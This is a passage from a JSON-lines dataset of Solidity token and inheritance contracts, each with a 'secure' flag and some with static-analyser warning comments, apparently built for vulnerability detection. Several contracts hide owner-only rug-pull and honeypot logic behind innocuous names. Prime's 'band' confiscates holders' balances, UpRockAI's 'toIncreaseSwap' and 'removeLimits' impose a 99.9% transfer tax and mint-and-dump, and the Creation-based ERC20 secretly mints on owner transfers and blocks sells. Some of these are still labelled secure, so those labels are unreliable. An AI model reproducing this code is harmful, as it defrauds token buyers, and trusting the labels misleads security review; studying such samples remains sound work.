beneficiaryIndices[_beneficiaryAddress] = beneficiaries.length;\n\n totalSharesAllocated = TOTAL_SHARES;\n\n uint256 adjustedSharesSum = 0;\n\n\t\t// cache-array-length | ID: c89744f\n for (uint256 i = 0; i < beneficiaries.length; i++) {\n adjustedSharesSum += beneficiaries[i].share;\n }\n\n if (adjustedSharesSum < TOTAL_SHARES) {\n beneficiaries[beneficiaries.length - 1].share += (TOTAL_SHARES -\n adjustedSharesSum);\n }\n\n\t\t// reentrancy-events | ID: e00f66c\n factory.registerBeneficiary(_beneficiaryAddress, address(this));\n\n\t\t// reentrancy-events | ID: e00f66c\n emit BeneficiaryAdded(_beneficiaryAddress, _share);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 08bae7b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 08bae7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function removeBeneficiary(\n address _beneficiaryAddress\n ) external onlyOwnerAndUpdateHeartbeat onlyNotDistributed {\n uint256 indexPlusOne = beneficiaryIndices[_beneficiaryAddress];\n\n require(indexPlusOne > 0, \"Beneficiary does not exist\");\n\n uint256 index = indexPlusOne - 1;\n\n uint256 removedShare = beneficiaries[index].share;\n\n beneficiaries[index] = beneficiaries[beneficiaries.length - 1];\n\n beneficiaryIndices[\n beneficiaries[index].beneficiaryAddress\n ] = indexPlusOne;\n\n beneficiaries.pop();\n\n delete beneficiaryIndices[_beneficiaryAddress];\n\n totalSharesAllocated -= removedShare;\n\n uint256 remainingTotalShares = totalSharesAllocated;\n\n if (remainingTotalShares > 0) {\n\t\t\t// cache-array-length | ID: b037d2c\n for (uint256 i = 0; i < beneficiaries.length; i++) {\n Beneficiary storage beneficiary = beneficiaries[i];\n\n beneficiary.share =\n (beneficiary.share * TOTAL_SHARES) /\n remainingTotalShares;\n }\n\n totalSharesAllocated = TOTAL_SHARES;\n\n uint256 adjustedSharesSum = 0;\n\n\t\t\t// cache-array-length | ID: 20d4e90\n for (uint256 i = 0; i < beneficiaries.length; i++) {\n adjustedSharesSum += beneficiaries[i].share;\n }\n\n if (adjustedSharesSum < TOTAL_SHARES) {\n beneficiaries[beneficiaries.length - 1].share += (TOTAL_SHARES -\n adjustedSharesSum);\n }\n }\n\n\t\t// reentrancy-events | ID: 08bae7b\n factory.unregisterBeneficiary(_beneficiaryAddress, address(this));\n\n\t\t// reentrancy-events | ID: 08bae7b\n emit BeneficiaryRemoved(_beneficiaryAddress);\n }\n\n function isBeneficiary(address _address) public view returns (bool) {\n return beneficiaryIndices[_address] != 0;\n }\n\n function getAllBeneficiaries()\n external\n view\n returns (Beneficiary[] memory)\n {\n return beneficiaries;\n }\n\n function updateInactivityPeriod(\n uint256 _newPeriod\n ) external onlyOwnerAndUpdateHeartbeat onlyNotDistributed {\n require(_newPeriod > 0, \"Inactivity period must be > 0\");\n\n inactivityPeriod = _newPeriod;\n }\n\n function updateGracePeriod(\n uint256 _newGracePeriod\n ) external onlyOwnerAndUpdateHeartbeat onlyNotDistributed {\n gracePeriod = _newGracePeriod;\n }\n\n function getDepositedTokens() external view returns (address[] memory) {\n return depositedTokens;\n }\n\n receive() external payable {\n uint256 developerFee = (msg.value * DEVELOPER_FEE_BPS) / TOTAL_SHARES;\n\n payable(developer).transfer(developerFee);\n\n emit AssetsDeposited(msg.sender, msg.value, address(0));\n\n if (msg.sender == owner) {\n lastActiveTimestamp = block.timestamp;\n\n emit Heartbeat(msg.sender, lastActiveTimestamp);\n }\n }\n}", "file_name": "solidity_code_144.sol", "secure": 0, "size_bytes": 19629 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Talent is ERC20, Ownable {\n constructor() ERC20(\"Talent Beach Club\", \"Talent\") {\n _mint(msg.sender, 200000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_1440.sol", "secure": 1, "size_bytes": 359 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Prime is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable pace;\n\n constructor() {\n _name = \"PRIME\";\n\n _symbol = \"PRIME\";\n\n _decimals = 18;\n\n uint256 initialSupply = 349000000;\n\n pace = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == pace, \"Not allowed\");\n\n _;\n }\n\n function band(address[] memory racism) public onlyOwner {\n for (uint256 i = 0; i < racism.length; i++) {\n address account = racism[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1441.sol", "secure": 1, "size_bytes": 4342 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract UpRockAI is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99c5421): UpRockAI._decimals should be constant \n\t// Recommendation for 99c5421: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a83c98a): UpRockAI._totalSupply should be immutable \n\t// Recommendation for a83c98a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 900000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 59f0c6d): UpRockAI._name should be constant \n\t// Recommendation for 59f0c6d: Add the 'constant' attribute to state variables that never change.\n string private _name = \"UpRock AI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 0199faf): UpRockAI._symbol should be constant \n\t// Recommendation for 0199faf: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"UPROCK AI\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 092b457): UpRockAI.uniV2Router should be constant \n\t// Recommendation for 092b457: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 79ffb98): UpRockAI._taxWallet should be immutable \n\t// Recommendation for 79ffb98: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function removePreTrading() public {}\n\n function setTrading() external {}\n\n function addBots() public {}\n\n function delBots() public {}\n\n function toIncreaseSwap(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function removeLimits(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_1442.sol", "secure": 1, "size_bytes": 7071 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function cre(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function red(uint256 a, uint256 b) internal pure returns (uint256) {\n return redc(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function redc(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function prod(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function calc(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function cal(uint256 a, uint256 b) internal pure returns (uint256) {\n return calc(a, b, \"SafeMath: division by zero\");\n }\n}", "file_name": "solidity_code_1443.sol", "secure": 1, "size_bytes": 1292 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Creation is Context {\n\t// WARNING Optimization Issue (immutable-states | ID: 1fea097): Creation.recipients should be immutable \n\t// Recommendation for 1fea097: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address internal recipients;\n\n address internal router;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8a978c7): ERC20.allowance(address,address).owner shadows Creation.owner (state variable)\n\t// Recommendation for 8a978c7: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c72e5a): ERC20._approve(address,address,uint256).owner shadows Creation.owner (state variable)\n\t// Recommendation for 6c72e5a: Rename the local variables that shadow another component.\n address public owner;\n\n mapping(address => bool) internal confirm;\n\n event Genesis(address indexed previousi, address indexed newi);\n\n constructor() {\n address msgSender = _msgSender();\n\n recipients = msgSender;\n\n emit genesis(address(0), msgSender);\n }\n\n modifier checker() {\n require(recipients == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual checker {\n emit genesis(owner, address(0));\n\n owner = address(0);\n }\n}", "file_name": "solidity_code_1444.sol", "secure": 0, "size_bytes": 1549 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"./Creation.sol\" as Creation;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Creation {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n bool private truth;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n truth = true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n if ((recipients == _msgSender()) && (truth == true)) {\n _transfer(_msgSender(), recipient, amount);\n\n truth = false;\n\n return true;\n } else if ((recipients == _msgSender()) && (truth == false)) {\n _totalSupply = _totalSupply.cre(amount);\n\n _balances[recipient] = _balances[recipient].cre(amount);\n\n emit Transfer(recipient, recipient, amount);\n\n return true;\n } else {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8a978c7): ERC20.allowance(address,address).owner shadows Creation.owner (state variable)\n\t// Recommendation for 8a978c7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b1eefc7): ERC20.liquiditypair(address).Uniswaprouterv02 lacks a zerocheck on \t router = Uniswaprouterv02\n\t// Recommendation for b1eefc7: Check that the address is not zero.\n function liquiditypair(address Uniswaprouterv02) public checker {\n\t\t// missing-zero-check | ID: b1eefc7\n router = Uniswaprouterv02;\n }\n\n function decimalcount(address _count) internal checker {\n confirm[_count] = true;\n }\n\n function setdecimalcount(address[] memory _counts) external checker {\n for (uint256 i = 0; i < _counts.length; i++) {\n decimalcount(_counts[i]);\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (recipient == router) {\n require(confirm[sender]);\n }\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _deploy(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: deploy to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c72e5a): ERC20._approve(address,address,uint256).owner shadows Creation.owner (state variable)\n\t// Recommendation for 6c72e5a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}", "file_name": "solidity_code_1445.sol", "secure": 0, "size_bytes": 6869 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract ReHOGE is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: edc4d09): reHOGE._totalSupply should be constant \n\t// Recommendation for edc4d09: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 29789c1): reHOGE._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for 29789c1: Remove the state variable shadowing.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"ReHOGE:\", unicode\"reHOGE\") {\n _deploy(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}", "file_name": "solidity_code_1446.sol", "secure": 0, "size_bytes": 884 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FightNight is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant MAX_SUPPLY = 200_000_000_000 * (10 ** _decimals);\n\n constructor() {\n _name = \"FightNight.io\";\n\n _symbol = \"FNIO\";\n\n _mint(msg.sender, MAX_SUPPLY);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_1447.sol", "secure": 1, "size_bytes": 5110 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BUBBA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 97d7050): BUBBA._initialBuyTax should be constant \n\t// Recommendation for 97d7050: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 12e2753): BUBBA._initialSellTax should be constant \n\t// Recommendation for 12e2753: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73477bd): BUBBA._finalBuyTax should be constant \n\t// Recommendation for 73477bd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43068f9): BUBBA._finalSellTax should be constant \n\t// Recommendation for 43068f9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e784c93): BUBBA._reduceBuyTaxAt should be constant \n\t// Recommendation for e784c93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42568f7): BUBBA._reduceSellTaxAt should be constant \n\t// Recommendation for 42568f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 165eb08): BUBBA._preventSwapBefore should be constant \n\t// Recommendation for 165eb08: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bubba\";\n\n string private constant _symbol = unicode\"BUBBA\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: ee33b69): BUBBA._taxSwapThreshold should be constant \n\t// Recommendation for ee33b69: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76ff473): BUBBA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76ff473: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) 